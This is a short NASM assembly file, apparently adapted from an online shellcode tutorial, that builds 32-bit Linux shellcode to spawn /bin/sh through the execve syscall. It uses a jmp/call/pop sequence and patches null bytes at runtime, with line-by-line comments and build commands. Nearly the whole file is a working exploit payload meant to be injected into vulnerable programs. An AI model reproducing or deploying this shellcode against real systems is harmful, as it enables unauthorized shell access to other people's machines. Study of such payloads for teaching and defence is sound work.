;shellcode.asm ; nasm -f elf shellcode.s; ld -o shellcode shellcode.o; objdump -d shellcode ;based on http://www.vividmachines.com/shellcode/shellcode.html, by Steve Hanna [SECTION .text] global _start ; in order to call execve: ; eax/al contains the interrupt parameter, 11 (for 32-bit linux) ; ebx contains the address of the null-terminated string "/bin/sh" ; ecx contains the address of a pointer to the args: ["/bin/sh", 0] ; edx contains the address of a pointer to the environment _start: jmp short shellstring start: pop ebx ;get the address of the string in ebx sub eax, eax ;zero eax by subtracting it from itself mov [ebx+7 ], al ;put a NUL byte where the N is in the string mov [ebx+8 ], ebx ;put the address of the string where the AAAA is mov [ebx+12], eax ;put 4 null bytes into where the BBBB is mov al, 11 ;execve is syscall 11 lea ecx, [ebx+8] ;load the address of where the AAAA was lea edx, [ebx+12] ;load the address of the NULLS; sub ecx,ecx sub edx,edx int 0x80 ;call the kernel, WE HAVE A SHELL! shellstring: call start db '/bin/shNAAAABBBB'